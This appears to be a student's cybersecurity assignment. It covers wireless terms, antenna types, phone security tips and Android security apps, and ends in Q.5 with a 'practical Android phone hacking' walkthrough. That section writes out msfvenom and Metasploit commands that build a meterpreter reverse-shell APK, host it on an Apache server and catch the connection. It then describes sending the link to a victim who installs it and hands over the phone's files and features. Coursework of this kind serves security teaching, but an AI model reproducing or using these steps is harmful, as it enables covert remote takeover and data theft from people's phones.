

# Assignment 7

## Q.1: Wireless Terminologies

Ans:

Bluetooth: a wireless technology standard for exchanging data over short distances (up to 30 feet) between devices.

Wi-Fi: a wireless technology standard for local area networking with devices based on the IEEE 802.11 standards.

Cellular network: a wireless network that uses cellular towers to transmit data between mobile devices and the Internet.

NFC (Near Field Communication): a short-range wireless communication technology that allows two devices to communicate when they are in close proximity to each other.

RFID (Radio Frequency Identification): a technology that uses radio waves to identify and track objects that have been tagged with an RFID chip.

LTE (Long-Term Evolution): a standard for wireless broadband communication that provides faster and more reliable data transfer speeds than previous generations of mobile networks.

5G (Fifth Generation): the latest standard for wireless communication that promises to provide faster speeds, lower latency, and improved reliability than previous generations of mobile networks.

Z-Wave: a wireless protocol designed for home automation that operates on low-power radio waves.

## Q.2 Types of Wireless Antenna

Ans:

1. Dipole Antenna: a simple antenna that consists of 2 length conductors, oriented perpendicular to each other.
2. Patch Antenna: A flat rectangular antenna that is commonly used in mobile devices, wireless routers, and other small wireless devices.
3. Yagi Antenna: A directional antenna that is commonly used in TV antennas, satellite dishes, and other applications where high gain and directional performance is required.
4. Parabolic Dish Antenna: an antenna that uses a curved reflector to focus radio waves onto a small point, typically used for long range communication.
5. Omni-directional Antenna: An antenna that radiates radio waves in all directions used for applications where coverage is needed in all directions, such as in wireless routers and access points.
6. Long Periodic Antenna: A type of directional antenna that operates over a wide range of frequencies, commonly used in radio and TV broadcasting.
7. Helical Antenna: A type of directional antenna that uses a coil to focus radio waves on a specific direction, often used in satellite communication.

Q.3 How to secure your mobile phone?

Ans:

Set a strong password or PIN: A strong password or PIN is the first line of defense against unauthorized access. Use a complex combination of letters, numbers, and symbols to create a strong password or PIN.

Use two-factor authentication: Two-factor authentication adds an extra layer of security by requiring a second form of authentication, such as a fingerprint or a verification code.

Keep your phone up-to-date: Regularly update your phone's operating system and apps to ensure that you have the latest security patches and bug fixes.

Install antivirus software: Install antivirus software on your phone to protect against malware and other threats.

Use a virtual private network (VPN): A VPN encrypts your internet traffic and helps protect your privacy and security when using public Wi-Fi or other unsecured networks.

Disable Wi-Fi and Bluetooth when not in use: Turning off Wi-Fi and Bluetooth when not in use can help prevent unauthorized access and protect your phone's battery life.

Be cautious when downloading apps: Only download apps from trusted sources, such as the Google Play Store or Apple App Store, and read reviews before installing

#### Q.4 List of Android Phones Security Tools

Ans:

1. Avast Mobile Security: A free security tool that offers antivirus protection, Wi-Fi scanning, and a privacy advisor.
2. Norton Mobile Security: A comprehensive security tool that offers antivirus protection, Wi-Fi scanning, anti-theft features, and a privacy advisor.

3. Kaspersky Mobile Antivirus: A security tool that offers antivirus protection, anti-phishing protection, and a privacy protection feature.
4. McAfee Mobile Security: A security tool that offers antivirus protection, anti-theft features, and Wi-Fi protection.
5. Bitdefender Mobile Security: A security tool that offers antivirus protection, anti-theft features, and app lock.
6. Lookout Mobile Security: A security tool that offers antivirus protection, anti-theft features, and Wi-Fi protection.
7. AVG AntiVirus: A free security tool that offers antivirus protection, anti-theft features, and Wi-Fi protection.
8. Sophos Intercept X for Mobile: A security tool that offers antivirus protection, anti-theft features, and app protection.
9. ESET Mobile Security & Antivirus: A security tool that offers antivirus protection, anti-phishing protection, and anti-theft features.
10. Malwarebytes Security: A security tool that offers antivirus protection, anti-malware protection, and privacy protection features.

Q.5 Perform practical Android phone hacking

Ans:

Step1: Create Payload

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.29.152  
LPORT=4444 R > frk.apk
```

```
cp frk.apk /var/www/html/share2
```

```
service apache2 start
```

Step 2: msfconsole

```
#> msfconsole -q
```

```
Msf6> use multi/handler
```

```
msf6 exploit(multi/handler)> set payload  
android/meterpreter/reverse_tcp
```

```
msf6 exploit(multi/handler)> set LHOST 192.168.29.152
```

```
msf6 exploit(multi/handler)> set LPORT 4444
```

```
msf6 exploit(multi/handler)> exploit
```

Step 3: Send link

<http://192.168.29.000/share1>

Step 4: Wait

Now we wait until victim opens the link and download the file we uploaded on the apache server, and gives access of all files and other mobile features.